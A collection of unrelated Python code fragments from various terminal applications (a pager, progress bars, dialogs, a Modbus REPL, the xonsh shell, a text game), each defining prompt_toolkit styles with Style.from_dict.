def __init__(self, vi_mode=False, style=None, search_text=None, titlebar_tokens=None): assert isinstance(vi_mode, bool) assert style is None or isinstance(style, Style) self.sources = [] self.current_source_index = 0 # Index in `self.sources`. self.highlight_search = True self.in_colon_mode = False self.message = None self.displaying_help = False self.search_text = search_text self.display_titlebar = bool(titlebar_tokens) self.titlebar_tokens = titlebar_tokens or [] self._dummy_source = DummySource() # When this is True, always make sure that the cursor goes to the # bottom of the visible content. This is similar to 'tail -f'. self.forward_forever = False # Status information for all sources. Source -> _SourceInfo. # (Remember this info as long as the Source object exists.) self.source_info = weakref.WeakKeyDictionary() # Create prompt_toolkit stuff. def open_file(buff): # Open file. self.open_file(buff.text) # Focus main buffer again. buff.reset() # Buffer for the 'Examine:' input. self.examine_buffer = Buffer( name='EXAMINE', completer=PathCompleter(expanduser=True), accept_handler=open_file, multiline=False) # Search buffer. self.search_buffer = Buffer(multiline=False) self.layout = PagerLayout(self) bindings = create_key_bindings(self) self.application = Application( input=create_input(sys.stdout), layout=Layout(container=self.layout.container), enable_page_navigation_bindings=True, key_bindings=bindings, style=style or Style.from_dict(ui_style), mouse_support=True, after_render=self._after_render, full_screen=True) # Hide message when a key is pressed. def key_pressed(_): self.message = None self.application.key_processor.before_key_press += key_pressed if vi_mode: self.application.editing_mode = EditingMode.VI
ui_style = Style.from_dict({ 'border': '#888888', 'terminal.focused border': 'ansigreen bold', #'terminal titleba': 'bg:#aaaaaa #dddddd ', 'terminal titlebar': 'bg:#888888 #ffffff', # 'terminal titlebar paneindex': 'bg:#888888 #000000', 'terminal.focused titlebar': 'bg:#448844 #ffffff', 'terminal.focused titlebar name': 'bg:#88aa44 #ffffff', 'terminal.focused titlebar paneindex': 'bg:#ff0000', # 'titlebar title': '', # 'titlebar name': '#ffffff noitalic', # 'focused-terminal titlebar name': 'bg:#88aa44', # 'titlebar.line': '#444444', # 'titlebar.line focused': '#448844 noinherit', # 'titlebar focused': 'bg:#5f875f #ffffff bold', # 'titlebar.title focused': '', # 'titlebar.zoom': 'bg:#884400 #ffffff', # 'titlebar paneindex': '', # 'titlebar.copymode': 'bg:#88aa88 #444444', # 'titlebar.copymode.position': '', # 'focused-terminal titlebar.copymode': 'bg:#aaff44 #000000', # 'titlebar.copymode.position': '#888888', 'commandline': 'bg:#4e4e4e #ffffff', 'commandline.command': 'bold', 'commandline.prompt': 'bold', #'statusbar': 'noreverse bg:#448844 #000000', 'statusbar': 'noreverse bg:ansigreen #000000', 'statusbar window': '#ffffff', 'statusbar window.current': 'bg:#44ff44 #000000', 'auto-suggestion': 'bg:#4e5e4e #88aa88', 'message': 'bg:#bbee88 #222222', 'background': '#888888', 'clock': 'bg:#88aa00', 'panenumber': 'bg:#888888', 'panenumber focused': 'bg:#aa8800', 'terminated': 'bg:#aa0000 #ffffff', 'confirmationtoolbar': 'bg:#880000 #ffffff', 'confirmationtoolbar question': '', 'confirmationtoolbar yesno': 'bg:#440000', 'copy-mode-cursor-position': 'bg:ansiyellow ansiblack', # 'search-toolbar': 'bg:#88ff44 #444444', 'search-toolbar.prompt': 'bg:#88ff44 #444444', 'search-toolbar.text': 'bg:#88ff44 #000000', # 'search-toolbar focused': 'bg:#aaff44 #444444', # 'search-toolbar.text focused': 'bold #000000', 'search-match': '#000000 bg:#88aa88', 'search-match.current': '#000000 bg:#aaffaa underline', # Pop-up dialog. Ignore built-in style. 'dialog': 'noinherit', 'dialog.body': 'noinherit', 'dialog frame': 'noinherit', 'dialog.body text-area': 'noinherit', 'dialog.body text-area last-line': 'noinherit', }, priority=Priority.MOST_PRECISE)
#!/usr/bin/env python """ Styled just like an apt-get installation. """ from __future__ import unicode_literals from prompt_toolkit.shortcuts import ProgressBar from prompt_toolkit.styles import Style from prompt_toolkit.shortcuts.progress_bar import formatters import time style = Style.from_dict({ 'label': 'bg:#ffff00 #000000', 'percentage': 'bg:#ffff00 #000000', 'current': '#448844', 'bar': '', }) def main(): custom_formatters = [ formatters.Label(), formatters.Text(': [', style='class:percentage'), formatters.Percentage(), formatters.Text(']', style='class:percentage'), formatters.Text(' '), formatters.Bar(sym_a='#', sym_b='#', sym_c='.'), formatters.Text(' '), ] with ProgressBar(style=style, formatters=custom_formatters) as pb: for i in pb(range(1600), label='Installing'):
terminal_style = None dark_style = Style.from_dict({ 'dialog': f"bg:{NAMED_COLORS['DimGrey']} {NAMED_COLORS['White']}", 'dialog frame-label': 'bg:#ffffff #000000', 'dialog.body': f"bg:{NAMED_COLORS['DimGrey']} {NAMED_COLORS['White']}", 'dialog shadow': 'bg:#444444', 'status': f"bg:{NAMED_COLORS['DimGrey']} {NAMED_COLORS['White']}", 'details': f"{NAMED_COLORS['Ivory']}", 'status.position': '#aaaa00', 'status.key': '#ffaa00', 'not-searching': '#222222', 'entry': f"{NAMED_COLORS['LightGoldenRodYellow']}", 'ask': f"{NAMED_COLORS['Lime']} bold", 'reply': f"{NAMED_COLORS['DeepSkyBlue']}", 'window.border': '#888888', 'shadow': 'bg:#222222', 'menu-bar': f"bg:{NAMED_COLORS['DimGrey']} {NAMED_COLORS['White']}", 'menu-bar.selected-item': 'bg:#ffffff #000000', 'menu': f"bg:{NAMED_COLORS['DimGrey']} {NAMED_COLORS['White']}", 'menu.border': '#aaaaaa', 'window.border shadow': '#444444', 'focused button': 'bg:#880000 #ffffff noinherit', }) light_style = Style.from_dict({ 'dialog': f"bg:{NAMED_COLORS['DimGrey']} {NAMED_COLORS['White']}",
from prompt_toolkit.filters import Condition from prompt_toolkit.application.current import get_app from pymodbus.repl.helper import get_commands from pymodbus.compat import string_types @Condition def has_selected_completion(): complete_state = get_app().current_buffer.complete_state return (complete_state is not None and complete_state.current_completion is not None) style = Style.from_dict({ 'completion-menu.completion': 'bg:#008888 #ffffff', 'completion-menu.completion.current': 'bg:#00aaaa #000000', 'scrollbar.background': 'bg:#88aaaa', 'scrollbar.button': 'bg:#222222', }) class CmdCompleter(Completer): """ Completer for Pymodbus REPL. """ def __init__(self, client, commands=None, ignore_case=True): """ :param client: Modbus Client :param commands: Commands to be added for Completion (list) :param ignore_case: Ignore Case while looking up for commands
# Global key bindings. bindings = KeyBindings() bindings.add('tab')(focus_next) bindings.add('s-tab')(focus_previous) style = Style.from_dict({ 'window.border': '#888888', 'shadow': 'bg:#222222', 'menu-bar': 'bg:#aaaaaa #888888', 'menu-bar.selected-item': 'bg:#ffffff #000000', 'menu': 'bg:#888888 #ffffff', 'menu.border': '#aaaaaa', 'window.border shadow': '#444444', 'focused button': 'bg:#880000 #ffffff noinherit', # Styling for Dialog widgets. 'radiolist focused': 'noreverse', 'radiolist focused radio.selected': 'reverse', 'button-bar': 'bg:#aaaaff' }) application = Application( layout=Layout( root_container, focused_element=yes_button,
""" Example of a style dialog window. All dialog shortcuts take a `style` argument in order to apply a custom styling. This also demonstrates that the `title` argument can be any kind of formatted text. """ from prompt_toolkit.formatted_text import HTML from prompt_toolkit.shortcuts import message_dialog from prompt_toolkit.styles import Style # Custom color scheme. example_style = Style.from_dict({ 'dialog': 'bg:#88ff88', 'dialog frame-label': 'bg:#ffffff #000000', 'dialog.body': 'bg:#000000 #00ff00', 'dialog shadow': 'bg:#00aa00', }) def main(): message_dialog( title=HTML('<style bg="blue" fg="white">Styled</style> ' '<style fg="ansired">dialog</style> window'), text='Do you want to continue?\nPress ENTER to quit.', style=example_style).run() if __name__ == '__main__': main()
# Key bindings. bindings = KeyBindings() @bindings.add('c-c') @bindings.add('q') def _(event): " Quit. " event.app.exit() style = Style.from_dict({ 'status': 'reverse', 'status.position': '#aaaa00', 'status.key': '#ffaa00', 'not-searching': '#888888', }) # create application. application = Application( layout=Layout( root_container, focused_element=text_area, ), key_bindings=bindings, enable_page_navigation_bindings=True, mouse_support=True, style=style, full_screen=True)
MenuItem('Status Bar', handler=do_status_bar), ]), MenuItem('Info', children=[ MenuItem('About', handler=do_about), ]), ], floats=[ Float(xcursor=True, ycursor=True, content=CompletionsMenu( max_height=16, scroll_offset=1)), ], key_bindings=bindings) style = Style.from_dict({ 'status': 'reverse', 'shadow': 'bg:#440044', }) layout = Layout( root_container, focused_element=text_field) application = Application( layout=layout, enable_page_navigation_bindings=True, style=style, mouse_support=True, full_screen=True)
""" from __future__ import unicode_literals from prompt_toolkit import prompt from prompt_toolkit.styles import Style from prompt_toolkit.formatted_text import HTML, ANSI style = Style.from_dict({ # Default style. '': '#ff0066', # Prompt. 'username': '******', 'at': '#00aa00', 'colon': '#00aa00', 'pound': '#00aa00', 'host': '#000088 bg:#aaaaff', 'path': '#884444 underline', # Make a selection reverse/underlined. # (Use Control-Space to select.) 'selected-text': 'reverse underline', }) def example_1(): """ Style and list of (style, text) tuples. """ # Not that we can combine class names and inline styles. prompt_fragments = [
#!/usr/bin/env python """ A very simple progress bar which keep track of the progress as we consume an iterator. """ from __future__ import unicode_literals from prompt_toolkit.shortcuts import ProgressBar from prompt_toolkit.styles import Style import time style = Style.from_dict({ 'title': '#4444ff underline', 'label': '#ff4400 bold', 'percentage': '#00ff00', 'bar-a': 'bg:#00ff00 #004400', 'bar-b': 'bg:#00ff00 #000000', 'bar-c': '#000000 underline', 'current': '#448844', 'total': '#448844', 'time-elapsed': '#444488', 'time-left': 'bg:#88ff88 #000000', }) def main(): with ProgressBar(style=style, title='Progress bar example with custom styling.') as pb: for i in pb(range(1600), label='Downloading...'): time.sleep(.01) if __name__ == '__main__': main()
operators1 = ['add', 'sub', 'div', 'mul'] operators2 = ['sqrt', 'log', 'sin', 'ln'] def create_grammar(): return compile(""" (\s* (?P<operator1>[a-z]+) \s+ (?P<var1>[0-9.]+) \s+ (?P<var2>[0-9.]+) \s*) | (\s* (?P<operator2>[a-z]+) \s+ (?P<var1>[0-9.]+) \s*) """) example_style = Style.from_dict({ 'operator': '#33aa33 bold', 'number': '#ff0000 bold', 'trailing-input': 'bg:#662222 #ffffff', }) if __name__ == '__main__': g = create_grammar() lexer = GrammarLexer(g, lexers={ 'operator1': SimpleLexer('class:operator'), 'operator2': SimpleLexer('class:operator'), 'var1': SimpleLexer('class:number'), 'var2': SimpleLexer('class:number'), }) completer = GrammarCompleter(g, {
def __init__(self, history: History = None): self._last_exception = None self._session = PromptSession(history=history) self.prompt = '> ' self.prompt_style = Style.from_dict({'': 'bold'})
from prompt_toolkit.shortcuts import checkboxlist_dialog, message_dialog from prompt_toolkit.styles import Style results = checkboxlist_dialog( title="CheckboxList dialog", text="What would you like in your breakfast ?", values=[ ("eggs", "Eggs"), ("bacon", "Bacon"), ("croissants", "20 Croissants"), ("daily", "The breakfast of the day") ], style=Style.from_dict({ 'dialog': 'bg:#cdbbb3', 'button': 'bg:#bf99a4', 'checkbox': '#e8612c', 'dialog.body': 'bg:#a9cfd0', 'dialog shadow': 'bg:#c98982', 'frame.label': '#fcaca3', 'dialog.body label': '#fd8bb6', }) ).run() if results: message_dialog( title="Room service", text="You selected: %s\nGreat choice sir !" % ",".join(results) ).run() else: message_dialog("*starves*").run()
def __init__(self, player, enemy, song='worry 2.wav'): self.song = Sound( player,fileName = song, loop=-1) self.player = player self.playerClans = ' '.join(self.player.clantags) if len(self.player.clantags) > 0 : self.playerName = FormattedText([ ('#ffffff', str(player.aspect['name'])), ('', ' '), ('#cc00cc', str(self.playerClans)), ]) else: self.playerClans = self.playerName = FormattedText([ ('#ffffff', str(player.aspect['name'])), ]) self.enemy = enemy self.playerGoesNext = True # by default, enemy always gets first strike self.playerJustDodged = False self.escapeTries = 0 self.escapeChance = .3 self.battleLog = '\n\n\n\n\n\n' self.maxHeightOfBattleLogWindow = 7 self.totalWidth = 90 self.actionsWidth = 30 self.statsWidth = 20 self.selectedIndexText = '' self.result = None self.playerHPBar = ProgressBar() self.setHealthProgressBar(self.playerHPBar, self.toPercent(self.player.hp, self.player.maxhp)) self.enemyHPBar = ProgressBar() self.setHealthProgressBar(self.enemyHPBar, 100) self.radios = RadioList( values=[ #value, lable ('Attack', 'Attack'), # use eqipped weapon ('Dodge', 'Dodge'), # icrease miss chance for enemy ('Item', 'Item'), ('Run', 'Run') # try to escape # more options could be: # check - returns text about enemy potentially indicating weaknessess ], player = self.player, width = self.actionsWidth) self.bindings = KeyBindings() self.bindings.add('right' )(focus_next) self.bindings.add('tab' )(focus_next) self.bindings.add('s-tab')(focus_previous) self.bindings.add('left')(focus_previous) self.bindings.add('c-m')(self.handleEnter) self.bindings.add('escape')(self.tryToEscape) # self.bindings.add('up')(self.setSelectedIndexTextUp) # TODO: make secret easter egg key bindings # self.bindings.add('a', 'a')(self.test) self.style = Style.from_dict({ 'dialog.body': 'bg:#000000 #ffcccc', #background color, text color }) self.application = Application( layout=Layout( self.getRootContainer(), focused_element=self.radios, ), key_bindings=self.bindings, style=self.style, mouse_support=True, full_screen=True, )
def singleline( self, auto_suggest=None, enable_history_search=True, multiline=True, **kwargs ): """Reads a single line of input from the shell. The store_in_history kwarg flags whether the input should be stored in PTK's in-memory history. """ events.on_pre_prompt.fire() env = builtins.__xonsh__.env mouse_support = env.get("MOUSE_SUPPORT") auto_suggest = auto_suggest if env.get("AUTO_SUGGEST") else None completions_display = env.get("COMPLETIONS_DISPLAY") complete_style = self.completion_displays_to_styles[completions_display] complete_while_typing = env.get("UPDATE_COMPLETIONS_ON_KEYPRESS") if complete_while_typing: # PTK requires history search to be none when completing while typing enable_history_search = False if HAS_PYGMENTS: self.styler.style_name = env.get("XONSH_COLOR_STYLE") completer = None if completions_display == "none" else self.pt_completer if env.get("UPDATE_PROMPT_ON_KEYPRESS"): get_prompt_tokens = self.prompt_tokens get_rprompt_tokens = self.rprompt_tokens get_bottom_toolbar_tokens = self.bottom_toolbar_tokens else: get_prompt_tokens = self.prompt_tokens() get_rprompt_tokens = self.rprompt_tokens() get_bottom_toolbar_tokens = self.bottom_toolbar_tokens() if env.get("VI_MODE"): editing_mode = EditingMode.VI else: editing_mode = EditingMode.EMACS if env.get("XONSH_HISTORY_MATCH_ANYWHERE"): self.prompter.default_buffer._history_matches = MethodType( _cust_history_matches, self.prompter.default_buffer ) elif ( self.prompter.default_buffer._history_matches is not self._history_matches_orig ): self.prompter.default_buffer._history_matches = self._history_matches_orig prompt_args = { "mouse_support": mouse_support, "auto_suggest": auto_suggest, "message": get_prompt_tokens, "rprompt": get_rprompt_tokens, "bottom_toolbar": get_bottom_toolbar_tokens, "completer": completer, "multiline": multiline, "editing_mode": editing_mode, "prompt_continuation": self.continuation_tokens, "enable_history_search": enable_history_search, "reserve_space_for_menu": 0, "key_bindings": self.key_bindings, "complete_style": complete_style, "complete_while_typing": complete_while_typing, "include_default_pygments_style": False, } if builtins.__xonsh__.env.get("COLOR_INPUT"): if HAS_PYGMENTS: prompt_args["lexer"] = PygmentsLexer(pyghooks.XonshLexer) style = style_from_pygments_cls(pyghooks.xonsh_style_proxy(self.styler)) else: style = style_from_pygments_dict(DEFAULT_STYLE_DICT) prompt_args["style"] = style style_overrides_env = env.get("PTK_STYLE_OVERRIDES") if style_overrides_env: try: style_overrides = Style.from_dict(style_overrides_env) prompt_args["style"] = merge_styles([style, style_overrides]) except (AttributeError, TypeError, ValueError): print_exception() line = self.prompter.prompt(**prompt_args) events.on_post_prompt.fire() return line
#!/usr/bin/env python """ Styled similar to tqdm, another progress bar implementation in Python. See: https://github.com/noamraph/tqdm """ import time from prompt_toolkit.shortcuts import ProgressBar from prompt_toolkit.shortcuts.progress_bar import formatters from prompt_toolkit.styles import Style style = Style.from_dict({ '': 'cyan', }) def main(): custom_formatters = [ formatters.Label(suffix=': '), formatters.Bar(start='|', end='|', sym_a='#', sym_b='#', sym_c='-'), formatters.Text(' '), formatters.Progress(), formatters.Text(' '), formatters.Percentage(), formatters.Text(' [elapsed: '), formatters.TimeElapsed(), formatters.Text(' left: '), formatters.TimeLeft(), formatters.Text(', '), formatters.IterationsPerSecond(),